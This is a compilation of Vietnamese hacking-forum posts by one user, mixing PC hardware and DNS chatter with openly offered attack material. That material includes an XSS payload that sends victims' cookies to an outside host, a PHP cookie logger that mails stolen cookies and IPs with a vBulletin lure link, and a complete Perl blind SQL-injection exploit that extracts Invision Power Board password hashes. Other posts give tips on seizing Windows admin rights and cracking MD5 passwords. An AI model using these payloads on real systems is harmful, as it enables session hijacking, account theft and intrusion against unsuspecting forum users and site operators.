Messages posted by: hinavietnam

Không ảnh hưởng gì cả
Tốc độ tuy cập khác nhau
DNS: Domain Name System và Internet Protocol: IP

Khi dữ liệu truyền tải, việc đầu tiên là qua modem. Nó sẽ kiểm tra ở Modem trước vì model đã cấu hình DNS trước với địa chỉ ip của máy rồi, không phải từ máy kiểm tra rồi mới chuyển lên mạng mất nhiều thời gian hơn do cập nhật IP của máy rồi mới thay đổi, Của Modem chỉ định luôn địa chỉ ip của mình là cố định như vd: bạn đã biết rõ vị trí một con chip này nằm ở đâu thì sẽ tìm nhanh hơn là mò lại. VD CF là 10.0.0.2 thì nó cứ tự động tới Ip này, còn cái khác không cần phải lo. đó là theo kinh nghiệm của mình thôi, không biết có chính xác lắm không smilie

Công cụ hữu hiệu giúp bạn có thể tìm kiếm nhanh các lỗ hổng bảo mật trong các trang web trên mạng với một thư viện từ khoá tìm kiếm phong phú.

Các bạn có thể download tại đây:
http://rapidshare.de/files/28415397/Google_Hacker.rar.html

pass rar: hinavietnam

Luke wrote:

Nếu đã tấn công XSS thì không nên làm thế này.
Quá lộ liễu, và có thể bị người khác "châm"
Nên làm thế này
Code:
onmouseover="LukesObj=document.createElement('img'); LukesObj.style.width=1;LukesObj.style.height=1;LukesObj.src= 'http://hackershost.com/log.php?cookie'=document.cookie; document.body.insertBefore(LukesObj);"
Thử mà xem

Ok, kiểu của ông anh quả hiệu quả hơn nhiều. Em sẽ tiếp thu và học hỏi

--------------------------------------------------------------------

Name file: exploit.php

--------------------------------------------------------------------

<?php
$ip_adresse = $_SERVER['REMOTE_ADDR'];
if(!empty($ip_adresse))
{
echo 'il tuo ip и: ',$ip_adresse;
}
else
{
echo 'Impossible d\'afficher l\'IP';
}
?>

<a href="log.php"></a><?
$xx1=$HTTP_SERVER_VARS['SERVER_PORT'];
$day = date("d",time()); $month = date("m",time()); $year = date("Y",time());
if ($REMOTE_HOST == "") $visitor_info = $REMOTE_ADDR;
else $visitor_info = $REMOTE_HOST;
$base = 'http://' . $HTTP_SERVER_VARS['SERVER_NAME'] . $PHP_SELF;
$x1=`host $REMOTE_ADDR|grep Name`;
$x2=$REMOTE_PORT;
?>

<?php
$cookie = $_GET['c'];
?>

<?php
$myemail = "YOUR ADDRESS E-MAIL";
$today = date("l, F j, Y, g:i a") ;
$subject = "Xss Vbulletin" ;
$message = "Xss: Hacking
Ip: $ip_adresse
Cookie: $cookie
Url: $base
porta usata: $xx1
remote port: $x2
Giorno & Ora : $today \n
";
$from = "From: $myemail\r\n";
mail($myemail, $subject, $message, $from);
?>

--------------------------------------------------------------------

<?php
$myemail = "YOUR ADDRESS E-MAIL";

--------------------------------------------------------------------

( 2 )

--------------------------------------------------------------------

Name file: image.gif

--------------------------------------------------------------------

<pre a='>' onmouseover='document.location="http://YOUR ADDRESS WEB.com/exploit.php?c="+document.cookie' b='</pre' >

--------------------------------------------------------------------

location="http://YOUR ADDRESS WEB.com

--------------------------------------------------------------------

( 3 )

--------------------------------------------------------------------

Like Using
--------------------------------------------------------------------

1° new thread
2° <a href="http://YOUR ADDRESS WEB.com/IMAGE.GIF" target="_blank">BEAUTIFUL GIRL</a> '
3° Submit
4° It waits for

--------------------------------------------------------------------

use IO::Socket;

if (@ARGV < 4) { &usage; }

$server = $ARGV[0];
$path = $ARGV[1];
$member_id = $ARGV[2];
$target = $ARGV[3];

$pass = ($target)?('member_login_key') smilie

'password');

$server =~ s! http://)!!;

$request = 'http://';
$request .= $server;
$request .= $path;

$s_num = 1;
$|++;
$n = 0;

print "[~] SERVER : $server\r\n";
print "[~] PATH : $path\r\n";
print "[~] MEMBER ID : $member_id\r\n";
print "[~] TARGET : $target";
print (($target)?(' - IPB 2.*') smilie

' - IPB 1.*'));
print "\r\n";
print "[~] SEARCHING PASSWORD ... [|]";

($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;

while(1)
{
if(&found(47,58)==0) { &found(96,122); }
$char = $i;
if ($char=="0")
{
if(length($allchar) > 0){
print qq{bb DONE ]

MEMBER ID : $member_id
};
print (($target)?('MEMBER_LOGIN_KEY : ') smilie

'PASSWORD : '));
print $allchar."\r\n";
}
else
{
print "\b\b FAILED ]";
}
exit();
}
else
{
$allchar .= chr($char);
}
$s_num++;
}

sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }

$r = int($fmax - ($fmax-$fmin)/2);
$check = " BETWEEN $r AND $fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}

sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}

sub check($)
{
$n++;
status();
$ccheck = $_[0];
$pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D";
$pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74%72%69%6E%67%28";
$pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*";
$pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$nmalykh = "%20%EC%E0%EB%FB%F5%20%2D%20%EF%E8%E4%E0%F0%E0%F1%21%20";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");

printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n",
$path,$server,$cmember_id,$pass_hash1,$cmember_id,$pass_hash2,$pass_hash3,$nmalykh);

while(<$socket> smilie

{
if (/Set-Cookie: session_id=0;/) { return 1; }
}

return 0;
}

sub status()
{
$status = $n % 5;
if($status==0){ print "\b\b/]"; }
if($status==1){ print "\b\b-]"; }
if($status==2){ print "\b\b\\]"; }
if($status==3){ print "\b\b|]"; }
}

sub usage()
{
print q(
Invision Power Board v < 2.0.4 SQL injection exploit
----------------------------------------------------
USAGE:
~~~~~~
r57ipb2.pl [server] [/folder/] [member_id] [target]

[server] - host where IPB installed
[/folder/] - folder where IPB installed
[member_id] - user id for brute

targets:
0 - IPB 1.*
1 - IPB 2.* (Prior To 2.0.4)

e.g. r57ipb2.pl 127.0.0.1 /IPB/ 1 1
----------------------------------------------------
(c)oded by 1dt.w0lf
RST/GHC , http://rst.void.ru , http://ghc.ru
);
exit();
}

Sao em cài FC 5 mà chả có trục trặc gì vậy cà, ngon ơ

Theo mình biết về tốc độ chip máy để bàn và đồ hoạ hiện thời thì với Dòng chip Core 2 E sức mạnh hơn hẳn so với AMD, bộ nhớ thì 2x2Mb dùng chung lên đến 4Mb/1 chip. AMD chuyên dùng Overlock thật dễ dàng và nhanh chóng, mang lại hiệu suất sử dụng cao hơn, nhưng với dùng chip intel mói này buss hệ thống 1066, bộ nhớ đệm 2x2Mb dùng chẳng kém AMD. Đó là chip, nếu chip mà xịn, mainboard, ram, VGA, nguồn mà đểu thì hết nói luôn, Con Core 2 E giá thị trường Vn bây giờ đang là 999 USD cho con 2.93Ghz Dùng Decode pass rất nhanh, 8 kí tự khoảng chừng 1-2 phút là ok, md5 2 lớp mất hơn 1 ngày so với 7 ngày máy thường đó là của một tester trên mạng. Làm đồ hoạ, 3D, Phim ảnh, Gamer... mượt mà như êm. Chạy nhanh hơn, đỡ tốn điện hơn...

Dùng cho văn phòng bây giờ dùng P4 HT cũng không có gì là lạ, Buss 800, 1Mb, HT giá có hơn 80 USD thì phải, chip C giảm mạnh, Còn muốn chơi game thường thường cấu hình vừa phải bạn chọn dòng P D là ổn giá cũng không quá cao.

Bus AMD thường là 2000, nếu so sanh bây giờ với chip của inter về một số mặt đảm bảo không thể bằng được. Kể là lõi kép vấn kém một số mặt. Điều điển hình là giá cả, hiệu suất máy, điện năng tiêu thụ, Tưởng chừng nhỏ nhặt nhưng đối với một công ty, doanh nghiệp lớn thì cái số nhỏ ti ti ấy là cả một vấn đề. Đó là AMD.

AMD đã kết hợp với ATI sắp tới cho ra loại Card hình mới tích hợp luôn vào chip AMD, mình nghĩ tới lúc đó dân đồ hoạ và Gamer có lẽ sẽ chú ý AMD nhiều hơn bây giờ.

Đó là thông tin theo kinh nghiệm của mình và các nguồn tin mình thu thập được.

Mình vừa lướt lại bài viết của the_god_that_fail mình thấy rất tuyệt, rất chi tiết đáng để những ai định mua máy tính quan tâm, rất chính xác

Em thấy ý kiến của các bạn rất ổn, mặc dù mình tham gia HVA chưa lâu nhưng mình cũng thấy được ở diễn đàn nhiều điều thú vị và nói chung hơn hẳn các diễn đàn khác. Việc mất Domain cũng là một bài góp giúp chúng ta phòng cao cảnh giác. Luôn cập nhật thông tin mới để giữ cho HVA luôn vững mạnh và tiếp tục tồn tại với thời gian. Và tôi tin rằng sau vụ việc này HVA vn sẽ đề cao cảnh giác lên nhiều, thường xuyên sửa và test lỗi, Backup DB... thì sự việc như vậy chắc sẽ không còn xảy ra nữa.

Cách phá cái này cũng dễ thôi. Bản Window tiếng trung hay tiếng anh đi chăng nữa cũng như nhau, chỉ khác nhau về ngôn ngữ mà thôi sau đây là những kinh nghiệm của mình chắc sẽ giúp được bạn. Bước đầu, bạn xem xét xem có thể phá quyền admin được không ? Truy cập được Explore không, nếu đã truy cập được vào đây thì mọi việc sẽ dễ dàng hơn nhiều.
Kiểm tra bạn là quyền gì, cũng có khi bạn có quyền admin nhưng bị khoá reg thôi. Nếu đúng như vậy thì bạn làm như sau: truy cập thư mục sau:
C:\WINDOWS\system32\gpedit.msc nếu bạn chạy được cái này thì ok tuốt từ mở khoá run, regedit, task cho đến các thiết lập khác của hệ thống. Đó là một kiểu.
Kiểu thứ hai nếu khoá luôn ổ cứng, bạn cứ gõ tên đường dẫn, nhỡ chỉ ẩn ổ cứng đi thôi thì sao. Nếu ổ cứng đã bị khoá, CMD bị cấm bạn cần làm theo cách sau:
Cách1: vào trang echip download cái regtrick về là bạn có thể mở các khoá reg thông thường rồi,
Cách 2: download từng khoá reg một nếu bị cấm download tệp thi hành, chi tiết các khoá reg mình sẽ post ở bên dưới. Và chạy chúng, log off vào lại là xong
Cách 3: tạo tệp text chứa các khoá reg. lưu đuôi file là reg và chạy chúng, khoá reg mình sẽ post bên dưới.
Cách 4: Tạo môt Shortcut với đường dẫn tới file reg.exe in thư mục system32 (nếu regedit chính bị vô hiệu). Cách sử dụng nói sau.

Bạn có thể cướp quyền admin nếu bạn chưa là admin như sau: nếu bình thường bạn ấn F8 và chọn safe mode có tắc dụng, lúc đăng nhập bạn ấn Ctrl+Alt+Delete và nhập user và pass mặc định admin như sau( nếu chưa thay đổi gì cả): Administrator pass: rỗng. Tạo thêm một user với quyền admin khác và đặt mặc định đăng nhập quyền này thử xem. Nếu muốn phá pass, phá máy thậm chí cả sửa bạn có một con USB Boot dùng vừa để cứu hộ máy tính vừa phá luôn, phá gì tuỳ thích chỉ cần một con USB ALL boot in one là ok phá từ bảo mật máy cho đến phá đóng băng máy bởi các chương trình như GB,DF... Nếu thực hiện cách này không được lại quay lại cách trên. Bây giờ mình sẽ post key lên cho các bạn làm.

1. Khoá Tab và mở khoá
Mở:[HKEY_CURRENT_USER\Control Panel\Desktop]
"CoolSwitch"="1"

Khoá:[HKEY_CURRENT_USER\Control Panel\Desktop]
"CoolSwitch"="0"
Mã tệp reg trong text
Khoá
REGEDIT4
[HKEY_CURRENT_USER\Control Panel\Desktop]
"CoolSwitch"="0"
Mở:
REGEDIT4
[HKEY_CURRENT_USER\Control Panel\Desktop]
"CoolSwitch"="1"

Run nè:

User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\ Advanced
Name: Start_ShowRun
Type: REG_DWORD
Value: 0- tắt menu Run. 1- hiện menu Run trên Start Menu XP

Tạo text tương tự như trên.

Thích phá tuốt cài X-Setup tiện nhất. OK?

Các bạn thấy cách của mình được không, có gì góp ý thêm cho mình với nhé.

Dùng Easy Boot hoặc BCDW 2.0

FreeRAM XP Pro, artmoney dùng rất ổn hỗ trợ save memory,dump memory ..., ngủ đông winxp

Quên đó chỉ là loại một lớp thôi, còn loại 2 lớp ít cũng phải 2 tuấn đến tháng
tuỳ vào cấu hình máy, Cỡ siêu máy tính xịn chắc 5 giây

mình có thử decode pass mã khoá bởi MD5 nhưng lâu lắm 7 kí tự gần tiếng rưỡi, 16 kí tự gần 7 ngày.

cái này là đê mở các cổng từ ngoài vào mà, nếu bạn đặt tất cả thì các cổng này sĩ bị khoá, không cho phép truy cập từ ngoài vào, như một con trojan nó có thể tự mở một cổng hậu cho mình, cứ dùng Zone Alarm bản mới cho chắc, nó quản lí dữ liệu xuất nhập máy tính, Thế mới yên tâm, còn FPT bỏ lệnh Ping để sau này có trục trặc họ còn ping tới bạn chứ. Tuy nhiên muốn qua các cổng này cần có pass, nếu máy mà không có pass thì quá dễ, nếu có pass thì hơi khó đấy, win98 còn dễ, muốn đột nhập máy cách dễ nhất là dính trojan vào máy nạn nhân là đơn giản, lỗi IE6, Flash, Window.. đầy rẫy, người dùng bình thường chưa cập nhật bản sửa lỗi có thể dính đó. Tốt nhất là tường lửa vững, anti virut đỉnh thì khó mà đột nhập được dù bằng con đường nào đi chăng nữa ( chỉ khó thôi )